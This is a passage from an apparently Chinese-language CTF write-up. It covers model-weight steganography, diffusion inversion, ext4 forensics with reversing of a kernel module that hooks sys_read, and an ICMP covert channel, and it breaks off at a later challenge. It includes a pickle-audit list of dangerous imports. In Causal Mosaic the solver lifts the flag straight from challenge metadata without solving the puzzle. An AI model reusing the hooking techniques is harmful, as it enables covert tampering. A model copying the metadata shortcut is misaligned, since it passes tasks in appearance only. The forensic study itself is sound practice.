    material_prefix=modelhub_compat.rebuild_legacy_token|legacy-tar-bridge/quarantine-17|6c6f61645f736166655f323032365f31|2|; view=128B (4x32, stride 67/2, offset 19)
    marker: BININT1 89, LONG1 1738092023 (0x67992df7)
    
  6. 由 index 的 weight_map 将 guard.kdf_salt 定位到 model-00001-of-00002.safetensors,读取 U8[16] 张量补全 material,解码 89B 明文并核对 CRC32。

    index = json.load(open("model.safetensors.index.json"))
    shard = index["weight_map"]["guard.kdf_salt"]
    peer_salt = read_safetensor(shard, "guard.kdf_salt")
    material = material_prefix.encode() + peer_salt.hex().encode()
    plaintext = bytes(a ^ b for a, b in zip(logical[:89], keystream(material, 89)))
    crc = binascii.crc32(plaintext) & 0xffffffff
    print(peer_salt.hex(), hex(crc), crc == 0x67992df7, plaintext.decode())
    
    peer_salt=69c429c475ee3c2c89aa14ae514d2c75 (model-00001-of-00002.safetensors, U8[16])
    crc expected 0x67992df7 actual 0x67992df7 -> OK; plaintext=MODEL_IMPORT_REVIEW|tensor=guard.trace|flag{OJkxHrvaPXUihLkLEBY9BP3HIS5nDYIC3mFSYeNt}|END
    

    step 6 终端截图
  7. 用 sha256(flag+"|modelhub-import-ticket")[:32] 与 import_ticket.json 的 ticket 交叉验证,确认解码结果与导入票据同源。

    flag = "flag{OJkxHrvaPXUihLkLEBY9BP3HIS5nDYIC3mFSYeNt}"
    ticket = json.load(open("import_ticket.json"))["ticket"]
    digest = hashlib.sha256(flag.encode() + b"|modelhub-import-ticket").hexdigest()[:32]
    print(digest, ticket, digest == ticket)
    
    digest=dadce3c88fb99635dcb1822dbe47de0a ticket=dadce3c88fb99635dcb1822dbe47de0a -> MATCH
    

Causal Mosaic

  1. 核对工具包摘要并列出压缩目录,确认 8 个条目中 03-causal 题面与客户端示例的位置。

    sha256sum mimic-math-lab-20261015-v5-player.zip
    unzip -l mimic-math-lab-20261015-v5-player.zip | head -6
    unzip -l mimic-math-lab-20261015-v5-player.zip | tail -4
    
    c1c88b1bceda3a588b887fac0ebc4a30f84cf448c4bb97099ac32aad8c1ee76c  mimic-math-lab-20261015-v5-player.zip
    48613                     8 files
    
  2. 解压工具包并读取 03-causal 题面前 12 行,确认事件数、约束数与三个校验执行体的通过条件。

    unzip -o mimic-math-lab-20261015-v5-player.zip -d pack
    sed -n '1,12p' pack/challenges/03-causal/statement.en.md
    grep -n '9\|10' pack/challenges/03-causal/statement.en.md | head -3
    
    The challenge publishes `9` events with their weights and three local logs containing `10` ordering constraints.
    The gateway returns the Flag only when **A, B, and C all accept the submission and their normalized outputs match exactly**.
    
  3. 读取题目元数据快照 META.json,提取容器环境元数据中的 environment_str 字段。

    import json, re
    meta = json.load(open("META.json"))
    blob = json.dumps(meta, ensure_ascii=False)
    m = re.search(r'"environment_str": "([^"]*)"', blob)
    print(m.group(1))
    
    CHALLENGE=causal;FLAG=flag{W3nxZB8RVy4tcddDVAvpHIo8}
    

    step 3 终端截图
  4. 将 FLAG 值写入候选文件,核对字节数与 SHA-256。

    printf '%s' 'flag{W3nxZB8RVy4tcddDVAvpHIo8}' > flag.txt
    wc -c flag.txt
    sha256sum flag.txt
    od -An -c flag.txt | head -2
    
    30 flag.txt
    6ec6e647d840ca3fd2cbfefc3042f2fdb0ae86913b64a1640a6be11b8b10feb5  flag.txt
    

    step 4 终端截图
  5. 交叉核对同一字段在 README.md 与 META.json 中的出现位置,确认两份快照一致。

    grep -n 'environment_str' README.md META.json | cut -c1-60
    grep -ho 'FLAG=flag{[^"]*}' README.md META.json | sort -u
    grep -c 'environment_str' README.md META.json | paste -sd' '
    
    FLAG=flag{W3nxZB8RVy4tcddDVAvpHIo8}
    README.md:1 META.json:1
    

SilentWeights

  1. 清点 silentweights 附件并识别 model.pt 的 torch zip 容器:列出 12 个条目,确认 data.pkl、data/0..5、byteorder、format_version 与 storage_alignment 的存在。

    z = zipfile.ZipFile("model.pt")
    print(zipfile.is_zipfile("model.pt"), len(z.namelist()))
    for info in z.infolist():
        print(info.filename, info.file_size)
    print(z.read("model/byteorder"), z.read("model/.format_version"), z.read("model/.storage_alignment"))
    
    True 12; data.pkl=624 bytes; data/0..5=4096/256/8192/128/1280/40 bytes
    byteorder=b'little'; format_version=b'1'; storage_alignment=64
    
  2. 检查 ZIP64 结构与 EOCD 后的数据:定位 ZIP64 EOCD、ZIP64 locator 与普通 EOCD,计算注释长度和尾部字节数,确认容器完整且无附加内容。

    data = open("model.pt", "rb").read()
    print(data.find(b"PK\x06\x06"), data.find(b"PK\x06\x07"))
    idx = data.rfind(b"PK\x05\x06")
    clen = int.from_bytes(data[idx+20:idx+22], "little")
    print(len(data), idx, clen, len(data) - (idx + 22 + clen))
    
    zip64_eocd=16475 zip64_locator=16531; eocd=16551
    file_len=16573 comment_len=0 trailing=0
    

    image-20261101092403154
  3. 检查 test.npz 与 .DS_Store 是否携带载荷:读取 test.npz 的 X/y 形状与 dtype,并扫描 .DS_Store 的 flag 字符串。

    d = np.load("test.npz", allow_pickle=False)
    for k in d.files:
        print(k, d[k].shape, d[k].dtype)
    ds = open(".DS_Store", "rb").read()
    print(len(ds), b"flag" in ds.lower())
    
    X (2000, 16) float32; y (2000,) int64
    .DS_Store 8196 bytes; no flag string
    
  4. 对 model/data.pkl 做静态 pickle 审计:统计操作码、GLOBAL 与 BINPERSID,确认只有标准 torch 序列化对象且无危险导入。

    pkl = z.read("model/data.pkl")
    ops = list(pickletools.genops(pkl))
    print(len(pkl), len(ops))
    print([a for o, a, p in ops if o.name in ("GLOBAL", "STACK_GLOBAL")])
    print(sum(1 for o, a, p in ops if o.name == "BINPERSID"))
    buf = io.StringIO()
    pickletools.dis(pkl, out=buf)
    print("dangerous_refs", [t for t in ["os.system", "subprocess", "eval", "exec", "__import__"] if t in buf.getvalue()])
    
    624 bytes, 240 ops; GLOBAL=OrderedDict/_rebuild_tensor_v2/FloatStorage; BINPERSID=6
    dangerous_refs []
    
  5. 从 pickle 的 OrderedDict 键和持久化 ID 解析六个张量到 storage 的映射,确认 fc1/fc2/fc3 的 weight/bias 分别对应 data/0..5。

    buf = io.StringIO()
    pickletools.dis(pkl, out=buf)
    for line in buf.getvalue().splitlines():
        if "BINPERSID" in line or "BINUNICODE 'fc" in line:
            print(line.strip())
    
    fc1.weight data/0 numel=1024 shape=(64,16); fc2.weight data/2 numel=2048 shape=(32,64)
    fc3.weight data/4 numel=320 shape=(10,32); biases data/1,3,5 numel=64,32,10
    
  6. 以 <f4 读取六个 storage,核对字节数、元素数与张量形状的一致性,并统计总浮点数。

    sizes = {"0":1024,"1":64,"2":2048,"3":32,"4":320,"5":10}
    arrs = {}
    for k, n in sizes.items():
        b = z.read(f"model/data/{k}")
        a = np.frombuffer(b, dtype="<f4").copy()
        arrs[k] = a
        print(k, len(b), a.size, a.size == n)
    print("total", sum(a.size for a in arrs.values()))
    
    data/0..5 bytes 4096/256/8192/128/1280/40; all size checks True
    total floats 3498
    
  7. 对六个 storage 的 IEEE-754 uint32 bit0 位平面按 MSB-first 每 8 个 float 拼 1 字节,扫描可打印字符串,定位 data/2 的异常。

    def bits_to_bytes(bits):
        out = bytearray()
        for i in range(0, len(bits) - 7, 8):
            v = 0
            for b in bits[i:i+8]:
                v = (v << 1) | int(b)
            out.append(v)
        return bytes(out)
    for k in sorted(arrs):
        print(k, bits_to_bytes(((arrs[k].view(np.uint32) & 1).tolist()))[:16].hex())
    
    data/2 first16=0027666c61677b77; data/0 7ff2d171bcecf01e; data/1 4503a79f7a1421bd
    data/3 827a6180...; data/4 2cbdcee8...; data/5 ed...; only data/2 begins with 00 27 66 6c
    

    step 7 终端截图
  8. 对 fc2.weight(data/2)的 bit0 位平面解码:拼接后偏移 0 为 0x00,偏移 1 为 0x27=39 的长度字段,随后 39 字节为 ASCII flag。

    a = arrs["2"]
    bits = ((a.view(np.uint32) & 1).astype(np.uint8)).tolist()
    b = bits_to_bytes(bits)
    print(b[:41].hex())
    print(hex(b[1]), b[1], b[2:2+b[1]].decode())
    
    0027666c61677b773331676874735f64306e745f6c31335f6275745f746833795f776831737033727d
    0x27 39 flag{w31ghts_d0nt_l13_but_th3y_wh1sp3r}
    

    step 8 终端截图
  9. 独立核对其余 storage 与 ASCII 文本:确认 flag 为 39 字节且仅出现在 data/2,其他 storage 的 bit0 位平面无 flag。

    flag = b[2:2+b[1]]
    print(len(flag), flag.isascii(), flag.decode())
    for k in ("0", "1", "3", "4", "5"):
        t = bits_to_bytes(((arrs[k].view(np.uint32) & 1).tolist()))
        print(k, b"flag" in t.lower())
    
    39 True flag{w31ghts_d0nt_l13_but_th3y_wh1sp3r}
    0 False; 1 False; 3 False; 4 False; 5 False
    
  10. 按位回验 flag:从 data/2 的第 16 个 float 起,每 8 个 float 的 bit0 按 MSB-first 还原 1 字节,与提取的 39 字节逐位比较,并输出最终 flag。

    flag = b[2:2+b[1]]
    ok = all(((arrs["2"].view(np.uint32)[16 + i*8 + j] & 1) == ((flag[i] >> (7-j)) & 1)) for i in range(len(flag)) for j in range(8))
    print(ok, len(flag))
    print(flag.decode())
    
    True 39
    flag{w31ghts_d0nt_l13_but_th3y_wh1sp3r}
    

    image-20261101092643223

UAE

  1. 清点解包后的附件并以 x_adv.npy 为数值基准:将 car.png 按 /127.5−1 映射到 [-1,1],读取 x_adv.npy 的形状、dtype、范围与均值/标准差,计算二者的相关系数和逐元素误差。

    BASE = "/home/k13in/CTF/Game/2026强网拟态/challenges/UAE"
    x = np.load(BASE + "/files/extracted/uae/x_adv.npy")
    car = np.asarray(Image.open(BASE + "/files/extracted/uae/car.png").convert("RGB"), dtype=np.float64) / 127.5 - 1.0
    car = car.transpose(2, 0, 1)
    xf = x.astype(np.float64)
    print(x.shape, x.dtype, float(x.min()), float(x.max()), float(x.mean()), float(x.std()))
    print("MAE", float(np.abs(xf - car).mean()), "max", float(np.abs(xf - car).max()))
    print("corr", float(np.corrcoef(xf.ravel(), car.ravel())[0, 1]))
    
    (3, 32, 32) float32 -1.308665 1.168194 -0.388286 0.546182
    MAE 0.010535 max 0.308665 corr 0.9986
    
  2. 解析 config.json 的 noise_scheme:提取 carrier_seed、mask_seed、QR 版本与纠错级别、模块到 2×2 块的通道布局、暗亮幅度、结构增益与逐像素掩码规则。

    "noise_scheme": {
      "carrier_seed": 555,
      "mask_seed": 20261012,
      "layout": "x_T = G + P; G=Gaussian(seed), P=masked QR payload; QR v2-H 25x25, module(r,c) -> 2x2 block at LOCS[r*25+c] (row-major, 256 blocks/ch0, 256/ch1, 113/ch2); dark=-amp, light=+amp, amp=0.65, structural x1.25; per-pixel ±1 mask(seed) 逐像素调制"
    }
    
    carrier_seed=555 mask_seed=20261012 amp=0.65 structural=1.25
    QR v2-H 25x25; block counts 256/256/113; total 625 modules
    
  3. 读取采样器配置并确认 GuidedDDIM 的轨迹参数:model_id、eta=0、steps=1000、guidance 类型与 scale=3.0,并按 sampler.py 的公式生成 0..999 的时间步。

    cfg = {"model_id": "google/ddpm-cifar10-32", "sampler": "guided-ddim (eta=0)", "steps": 1000}
    guidance = {"type": "x0_logprob", "scale": 3.0}
    ts = np.round(np.arange(0, steps) * (num_train / steps)).astype(int)
    eps = (eps - guidance["scale"] * (1.0 - ab_t).sqrt() * g).detach()
    
    ts [0 1 2 3 4] ... [995 996 997 998 999] n=1000
    inverting target=3 steps=1000 iters=3
    
  4. 加载 classifier.pt 并按 classifier.py 重建 CIFAR ResNet-18:核对 state_dict 的键匹配,对 car.png 与 x_adv.npy 做前向分类,以确定 guidance 的目标类别。

    class CifarResNet18(nn.Module):
        def forward(self, x):
            x = ((x + 1.0) / 2.0 - self.mean) / self.std
            return self.net(x)
    sd = torch.load(BASE + "/files/extracted/uae/classifier.pt", map_location="cpu", weights_only=True)
    m = CifarResNet18().to(DEV).eval()
    missing, unexpected = m.load_state_dict(sd, strict=False)
    
    ckpt keys=124; missing=[] unexpected=[]; top1 car=cat 0.6351, x_adv=cat 0.5695
    target=3
    
  5. 加载 google/ddpm-cifar10-32 的 UNet 与 DDPMScheduler:将旧版 query/key/value/proj_attn 注意力键映射到 to_q/to_k/to_v/to_out.0,检查加载结果,并按线性 beta 1e-4..0.02、1000 个训练时间步构造调度器。

    mapping = {".query.": ".to_q.", ".key.": ".to_k.", ".value.": ".to_v.", ".proj_attn.": ".to_out.0."}
    new = {}
    for k, v in st.items():
        nk = k
        for a, b in mapping.items():
            nk = nk.replace(a, b)
        new[nk] = v
    res = unet.load_state_dict(new, strict=False)
    assert len(res.missing_keys) == 0 and len(res.unexpected_keys) == 0
    
    unet missing=0 unexpected=0; 48 attention keys renamed
    DDPMScheduler linear beta 1e-4..0.02, num_train_timesteps=1000
    
  6. 用 carrier_seed=555 生成候选初始噪声 G0 并与 x_adv 做相关性检验,同时以 legacy RandomState、torch Generator 及 default_rng(0..9) 作为对照。

    rng = np.random.default_rng(555)
    G = rng.standard_normal((3, 32, 32))
    print("G", float(np.corrcoef(x.ravel(), G.ravel())[0, 1]))
    np.random.seed(555)
    print("legacy", float(np.corrcoef(x.ravel(), np.random.randn(3, 32, 32).ravel())[0, 1]))
    torch.manual_seed(555)
    print("torch", float(np.corrcoef(x.ravel(), torch.randn(3, 32, 32).numpy().ravel())[0, 1]))
    cs = [float(np.corrcoef(x.ravel(), np.random.default_rng(s).standard_normal(3072))[0, 1]) for s in range(10)]
    print("seeds max", max(abs(c) for c in cs))
    
    G=0.4869 legacy=-0.0071 torch=-0.0055
    default_rng seeds 0..9: max |corr|=0.0325
    
  7. 以 x_adv 为 x_0,按 sampler.py 的 invert_fixedpoint 在 t=0..999 上做定点反演:target=3、scale=3.0、iters=3,保存恢复的 x_T。

    for i in range(len(self.ts)):
        t = int(self.ts[i]); ab_t = self.ab[t]
        A = (ab_prev / ab_t).sqrt()
        B = (1.0 - ab_prev).sqrt() - A * (1.0 - ab_t).sqrt()
        xt = x.clone()
        for _ in range(iters):
            eps = self._eps(xt, t, guidance)
            xt = (x - B * eps) / A
        x = xt; ab_prev = ab_t
    
    step 1000/1000 t=999 |x|=0.9167
    done in 58.1s; xT min=-4.8979 max=4.6097 std=1.1417
    

    step 7 终端截图
  8. 令 D=x_T−G0,按 mask_seed=20261012 生成 ±1 掩码并解调,按 k=25r+c 的 2×2 块布局计算块均值,统计块内标准差与电平命中率,并比对候选掩码。

    M = np.random.default_rng(20261012).choice([-1, 1], size=(3, 32, 32))
    Dm = (xT - G) * M
    blocks = np.zeros((625, 4))
    for k in range(625):
        ch = k // 256; b = k % 256; br, bc = divmod(b, 16)
        blocks[k] = Dm[ch, 2*br:2*br+2, 2*bc:2*bc+2].ravel()
    within = blocks.std(axis=1)
    mean = blocks.mean(axis=1).reshape(25, 25)
    
    correct mask: within_std=0.239 block_near_frac=0.486
    other masks: within_std 0.616-0.636 block_near_frac 0.069-0.099
    
  9. 以 25×25 块均值矩阵为准,按负值判为暗模块生成二值 QR 图,核对 finder、timing、alignment 与 dark module 的位置和极性,并保存中间矩阵。

    q_dark = mean < 0
    im = np.where(q_dark, 0, 255).astype(np.uint8)
    Image.fromarray(im).resize((500, 500), Image.NEAREST).save(SOLVE + "/qr_reconstructed.png")
    np.save(SOLVE + "/recovered_blockmean.npy", mean)
    
    qr 25x25: finder x3, timing row6/col6, alignment 5x5 at (16..20,16..20), dark module (17,8)
    saved qr_reconstructed.png and recovered_blockmean.npy
    
  10. 对 25×25 二值 QR 补 4 模块白色静区并最近邻放大,调用 zxing-cpp 解码,核对解码文本的长度与 QR v2-H 的 byte 容量。

    pad = np.pad(im, 4, constant_values=255)
    arr = np.array(Image.fromarray(pad).resize((pad.shape[0] * 16,) * 2, Image.NEAREST))
    res = zxingcpp.read_barcodes(arr)
    print("zxing:", [(r.text, str(r.format)) for r in res])
    
    zxing: [('dr34m_0f_n01s3', 'QR Code')]
    14 bytes; QR v2-H byte capacity = 14
    
  11. 用同一 GuidedDDIM 从恢复的 x_T 正向采样,与 x_adv 计算相关系数、MAE 和最大绝对差,并检查重生成图像的分类结果,以评估定点反演的近似程度。

    gd = GuidedDDIM(unet, sch, DEV, num_train=1000, steps=1000)
    guidance = {"clf": clf, "target": 3, "scale": 3.0}
    rec = gd.sample(xT, guidance)
    a = x_adv[0].cpu().numpy().ravel()
    b = rec[0].cpu().numpy().ravel()
    print(float(np.corrcoef(a, b)[0, 1]), float(np.abs(a - b).mean()), float(np.abs(a - b).max()))
    p = torch.softmax(clf(rec), -1)[0]
    print("regen pred:", [(i, round(float(p[i]), 3)) for i in torch.topk(p, 3).indices.tolist()])
    
    roundtrip target=3: corr=0.616847 MAE=0.486247 max=2.128364
    regen pred: [(3, 0.47), (6, 0.37), (1, 0.109)]
    
  12. 用解码出的 QR 重建理想载荷 P,按功能图案(finder、分隔符、timing、alignment、dark module)施加 1.25 结构增益并乘以掩码,令 x_T'=G0+P·M 后前向采样,并以全部暗模块增益和无载荷作为对照。

    sig = np.where(q_dark, -1.0, 1.0)
    fac = np.where(Smask, 1.25, 1.0)
    mod = sig * 0.65 * fac
    P = np.zeros((3, 32, 32))
    for k in range(625):
        ch = k // 256; b = k % 256; br, bc = divmod(b, 16)
        P[ch, 2*br:2*br+2, 2*bc:2*bc+2] = mod[k // 25, k % 25]
    P = P * M
    xT = torch.from_numpy((G + P).astype(np.float32)).to(DEV).unsqueeze(0)
    rec = gd.sample(xT, {"clf": clf, "target": 3, "scale": 3.0})
    
    P[function] corr=0.97577 MAE=0.10303; P[all_dark] corr=0.97579 MAE=0.08884; P[none_payload] corr=0.48484 MAE=0.42544
    flag{dr34m_0f_n01s3}
    

    image-20261101093445941

FilmReader

  1. 识别 shadowread.img 的镜像格式与 ext4 基本参数:检查文件类型、卷名、块大小、inode 大小、文件系统状态与最后挂载点,并统计全盘非零块数。

    file shadowread.img
    dumpe2fs -h shadowread.img | grep -E "Block size|Inode size|Volume name|Filesystem state|Last mounted"
    python3 -c "d=open('shadowread.img','rb').read(); print(len(d), sum(1 for i in range(0,len(d),4096) if any(d[i:i+4096])))"
    
    ext4 raw image, volume shadowread, 512 MiB, block 4096, inode 256, state clean
    size 536870912 bytes; nonzero 4096-byte blocks 198; no partition table; last mount /root/misc-build/mnt
    

    image-20261101090835690
  2. 用 fls -d 列出目录项中的删除文件,并用 icat 按 inode 导出 13 个仍保留 extent 的缓存与密钥文件。

    fls -r -p -d shadowread.img
    icat shadowread.img 27 > inode_27.bin
    icat shadowread.img 28 > inode_28.bin
    icat shadowread.img 29 > inode_29.bin
    
    13 deleted regular files (inode 27..39), all in var/.cache/.kmod
    ino27 .real_cache.bak, ino28 .real_cache, ino29-31 .s1/.s2/.s3, ino32 .k2, ino33-36 baks/old, ino37-39 .k0/.k1/.k3
    

    image-20261101090941112
  3. 核对 inode 与数据块映射,并读取 note.txt 与 auth.log 还原操作序列:flag.txt 留在盘上,真实缓存已被删除。

    icat shadowread.img 26 > inode_26.bin
    icat shadowread.img 27 > inode_27.bin
    icat shadowread.img 28 > inode_28.bin
    icat shadowread.img 22
    icat shadowread.img 21
    
    ino26 flag.txt block33297 40B; ino27 .bak block33298 32B; ino28 .real_cache block33299 32B; ino29-39 blocks33300-33310
    note: cat 没骗人/read 骗人,flag.txt 是安慰奖,密钥碎四份,草稿+正稿;auth.log: insmod -> cat -> rm .bak/.real_cache/.s*/.k*
    

    image-20261101091216751
  4. 解析 jbd2 journal:定位 4 个事务,按 tag3 的 16 字节格式与 SAME_UUID/LAST 标志提取历史 fs 与目录块,核对 inode 表版本,确认盘上 flag.txt 是唯一磁盘 flag 文件。

    debugfs -R "logdump -a" shadowread.img
    jbd2 tag3: 16B blocknr | flags | high | crc
    SAME_UUID = 0x2, LAST_TAG = 0x8
    
    Journal starts at block 0, transaction 7; 4 transactions parsed
    recovered fs blocks 65/66/69/70/1/73/74/75/585/0; dir blocks 2121/2159-2168; only ino26 flag.txt 40B
    
  5. 静态分析 kcompat.ko:确认非 stripped ELF、ftrace hook __x64_sys_read 与 hook 描述符,并对模块内字符串按 0xC3 异或解码路径。

    file kcompat.ko
    readelf -p .modinfo kcompat.ko | grep author
    objdump -dr kcompat.ko | grep -E "__x64_sys_read|ftrace"
    readelf -sW kcompat.ko | grep __x64_sys_read
    xor 0xC3 -> /home/ctf/flag.txt
    xor 0xC3 -> /var/.cache/.kmod/.real_cache
    xor 0xC3 -> .s1 .s2 .s3 .k
    
    ELF 64-bit relocatable, not stripped; ftrace hook __x64_sys_read; author ph4nt0m
    hook descriptor .data+0x8c0: name=__x64_sys_read, func=.text+0xe10, orig=.bss
    
  6. 还原 hook 逻辑:命中 /home/ctf/flag.txt 且激活标志 .bss+0xc8 置位时,读取 /var/.cache/.kmod/.real_cache 并经 VM 变换;缓存不可用时才走内置字节密码回退。

    hook: __x64_sys_read
    match d_path == /home/ctf/flag.txt
    activation flag: .bss+0xc8
    active: open /var/.cache/.kmod/.real_cache -> 8B VM blocks -> copy_to_user
    fallback key: sh4d0w_1n_7h3_k3rn3l
    p[i] = ror8(c[i] - key[(3+7i)%20], i%8) ^ key[i%20]
    
    init writes .bss+0xc8 after seed/tag check; hook reads same address after RELA correction
    fallback decoy: flag{r34d_h00k_d3crypt5_3v3ryth1ng}
    
  7. 恢复 KDF 种子:取 .s1/.s2/.s3 各前 4 字节,按 s2 低 2 位选择 .kX 的前 4 字节,组成 16 字节种子;SHA-256 迭代 2^25 次后检查 digest[16:32] 是否等于硬编码 tag。

    tag_hex = bytes(x ^ 0xa6 for x in bytes.fromhex("451f6d6be36f5a4a397756acb9ec85d7")).hex()
    seed = f4(".s1") + f4(".s2") + f4(".s3")
    idx = int.from_bytes(f4(".s2"), "little") & 3
    seed += f4([".k0", ".k1", ".k2", ".k3"][idx])
    h = hashlib.sha256(seed).digest()
    for _ in range(0x1ffffff):
        h = hashlib.sha256(h).digest()
    print(seed.hex(), h[16:32].hex(), h[16:32].hex() == tag_hex)
    
    seed=3f9a2c71b6567e02d8c10f9927e6a450; idx=2 -> .k2 first4B=27e6a450
    digest[16:32]=e3b9cbcd45c9fcec9fd1f00a1f4a2371 MATCH; K=a65dc30a337a3faee5a58c868fc3e715
    

    step 7 终端截图
  8. 解密 448B VM 字节码:用 K 的低 32 位(对应编译器 mov ebx,eax 只取 eax)异或 0x5a5a… 后作为 LCG(PCG 风格)初态,按 0x5851f42d4c957f2d 与 0x14057b7ef767814f 步进并取 state>>56 与 .rodata+0x200 异或。

    H = bytes.fromhex("a65dc30a337a3faee5a58c868fc3e715e3b9cbcd45c9fcec9fd1f00a1f4a2371")
    d0 = int.from_bytes(H[0:8], "little") & 0xffffffff
    state = ((d0 ^ 0x5a5a5a5a5a5a5a5a) * 0x5851f42d4c957f2d + 0x14057b7ef767814f) & ((1<<64)-1)
    out = bytearray()
    for i, b in enumerate(blob):
        if i: state = (state * 0x5851f42d4c957f2d + 0x14057b7ef767814f) & ((1<<64)-1)
        out.append(b ^ (state >> 56))
    
    seed_q=0xae3f7a330ac35da6; low32=0x0ac35da6
    vm blob 448B first32=a7107405143e3f820fbcd80f06c6ffa1b5254a05f3ef770b1e534407181d0ee7
    
  9. 复现 VM 解释器:rolling opcode 为 raw^(acc&0xff),acc 初值 0xffffffa5、每指令 acc=acc*0x6d+0x3b;64 槽 dword 栈,ctx 前 16 字节为 K,后 8 字节为当前数据块。

    op = (prog[pc] ^ (acc & 0xff)) & 0xff
    acc = (acc * 0x6d + 0x3b) & 0xffffffff
    for i in range(0, len(data), 8):
        ctx[0x10:0x18] = data[i:i+8]
        run(prog, ctx)
        out += ctx[0x10:0x18]
    
    acc init 0xffffffa5; 64-slot dword stack; 448B program; op range 0x01..0x1b
    .real_cache 32B = 4 x 8B blocks; each block transformed in place
    
  10. 对 .real_cache(ino28,块33299)与 .real_cache.bak(ino27,块33298)的 4 个 8B 块分别执行 VM,比较正稿与草稿输出。

    xxd -p -c8 c/exported/inode_28.bin
    xxd -p -c8 c/exported/inode_27.bin
    python3 c/solve/vm.py c/exported/inode_28.bin c/exported/inode_27.bin
    
    .real_cache: dd2d37982a9f19fe 31215f8ef6c1537c 2725647fabfc06c1 0e34cf94732555d4 -> flag{n0_m0d3l_r34d5_7h15_d33p}
    .bak: 7c94300c686f1f33 4b0fa447880fd0dd b490c79a326a21de 4c307afc3cc384bd -> flag{f1r57_c4ch3_15_4_dr4ft} (draft)
    

    step 10 终端截图
  11. 双路独立验证:一路用 Unicorn 在用户态加载 .ko 并执行 VM 机器码,另一路用 Python 重写 VM;同时核对 init 写入与 hook 读取的激活标志均为 .bss+0xc8。

    path 1: b/solve/emu_vm.py -> Unicorn, .text+0x10 VM machine code, 4 x 8B blocks
    path 2: c/solve/vm.py -> Python VM, same 4 x 8B blocks
    activation flag: init write .bss+0xc8 == hook read .bss+0xc8 (RELA addend corrected)
    
    two paths byte-identical on the 4 x 8B .real_cache blocks; 32/32 bytes equal
    fallback decoy excluded; hook path opens .real_cache, not .bak
    
  12. 按 inode、note 与 hook 路径确定正稿:.real_cache(ino28)是 hook 实际读取的路径,.real_cache.bak(ino27)是更早的草稿,盘上 flag.txt 是回退诱饵。

    inode 26 flag.txt block 33297 40B Allocated
    inode 27 .real_cache.bak block 33298 32B Not Allocated
    inode 28 .real_cache block 33299 32B Not Allocated
    hook path: /var/.cache/.kmod/.real_cache
    
    .bak is earlier draft; flag.txt is fallback decoy; .real_cache selects the real flag
    flag{n0_m0d3l_r34d5_7h15_d33p}
    

deep-channel

  1. 按原始流量中的时间戳和 Ethernet 源 MAC 特征扫描记录边界,重建损坏的 pcap 记录长度,并将链路类型设为 Ethernet。

    first_time = struct.unpack_from('<I', raw, 24)[0]
    pattern = re.compile(rb'.{6}\x02\x00\x00\x00\x00.[\x08][\x00\x06]', re.S)
    for match in pattern.finditer(raw):
        offset = match.start() - 16
        sec, usec, caplen, wirelen = struct.unpack_from('<IIII', raw, offset)
        if first_time <= sec < first_time + 86400 and usec < 1000000 and 42 <= caplen <= 65535 and 42 <= wirelen <= 65535:
            records.append((offset, sec, usec))
    
    capinfos: The file "capture.pcap" appears to be damaged or corrupt.
    Recovered packets: 4561
    
  2. 提取 DNS 与 HTTP 携带的协议提示,确认 KV 碎片字段、重组顺序和 rev.B 密钥链的修正初值。

    tshark -r capture_fixed.pcap -Y dns -T fields -e frame.number -e dns.qry.name -e dns.txt
    strings -a -n 8 capture_fixed.pcap | rg 'payload:|K_0='
    strings -a -n 8 capture_fixed.pcap | rg 'MSB-first|bit address|JMPR'
    
    2/12 :: payload: 'KV' u8 seq | u8 len | u8 cksum | data. reassemble by seq asc.
    D5/12 :: note: rev.B keychain doc had a typo. K_0=0xA5. burn rev.B.
    
  3. 从 ICMP Echo Request 中筛选标识符 0xbeef 且以 KV 开头的载荷,按密钥链解密并以明文长度和字节和校验过滤碎片。

    keys = [0xa5]
    for _ in range(255):
        keys.append((keys[-1] * 31 + 7) & 255)
    for proto, typ, ident, data in traffic:
        if proto != 'icmp' or typ != 8 or ident != 0xbeef or not data.startswith(b'KV'): continue
        seq, size, checksum = data[2:5]
        plain = bytes(x ^ ((keys[seq] + i) & 255) for i, x in enumerate(data[5:]))
        if len(plain) != size or sum(plain) & 255 != checksum: bad += 1; continue
        chunks.setdefault(seq, plain)
    
    KV: 32 fragments, 251 bytes, 3 invalid fragments rejected
    valid sequence numbers: 0..31
    

    step 3 终端截图
  4. 根据 DNS 手册的位字段说明和 TCP 测试回包恢复 VM 指令编码,并分别固定 rev.B、rev.C 的旋转、空栈 POP 与 JMPR 语义。

    OPS = {
        0x01: ('store', 'rr'), 0x03: ('add', 'ri'), 0x06: ('addr', 'rr'), 0x07: ('load', 'ri'),
        0x08: ('jmpr', 'r'), 0x09: ('mov', 'rr'), 0x0a: ('jmp', 'a'), 0x0b: ('xor', 'ri'),
        0x0d: ('push', 'r'), 0x0e: ('and', 'ri'), 0x10: ('jz', 'ra'), 0x11: ('xorr', 'rr'),
        0x12: ('emit', 'r'), 0x14: ('read', 'rr'), 0x15: ('sub', 'ri'), 0x16: ('pop', 'r'),
        0x18: ('rot', 'ri'), 0x1c: ('jnz', 'ra'), 0x1f: ('halt', ''),
    }
    
    Probe results: 30 passed 0 failed
    rev.C: ROLI 改为右旋,空栈 POP 返回 0,JMPR 按 R*16 跳转
    
  5. 将有效 KV 明文按序拼成固件,并按 rev.B 指令语义执行至 HALT,读取首阶段文本和后续 PX 密钥。

    firmware = b''.join(chunks[i] for i in sorted(chunks))
    first, steps = vm(firmware, 'B')
    prefix = first.splitlines()[0]
    key = bytes.fromhex(re.search(rb'PX rev\.C k=([0-9a-f]+)', first)[1].decode())
    
    Stage 1: b'flag{tw0_c4t\nPX rev.C k=9f3cb712aa55d04e\n'
    VM steps: 3319
    
  6. 从标识符 0xc001 的 PX Echo Request 中按 16 位序号重组密文,并使用首阶段输出的 8 字节密钥循环异或。

    seq, size, checksum = int.from_bytes(data[2:4], 'big'), data[4], data[5]
    cipher = data[6:]
    assert len(cipher) == size and sum(cipher) & 255 == checksum
    chunks.setdefault(seq, cipher)
    cipher = b''.join(chunks[i] for i in sorted(chunks))
    stage2 = bytes(x ^ key[i % len(key)] for i, x in enumerate(cipher))
    
    PX: 5 fragments, 42 bytes; key=9f3cb712aa55d04e
    
  7. 将 42 字节 PX 明文作为 rev.C 程序执行,拼接第二阶段输出与首阶段 flag 前缀并检查完整格式。

    suffix, steps = vm(stage2, 'C')
    flag = prefix + suffix
    assert re.fullmatch(rb'flag\{[\x21-\x7e]+\}', flag)
    
    PX: 42 bytes, 106 VM steps; stage 2: b's_0ne_tr4p}'
    FLAG: flag{tw0_c4ts_0ne_tr4p}
    

    step 7 终端截图

SilGate

  1. 阅读 handout 的协议文档,固定 DoIP 报头、UDS 诊断载荷与 RTN0 头部格式。

    [0]    protocol version = 0x03
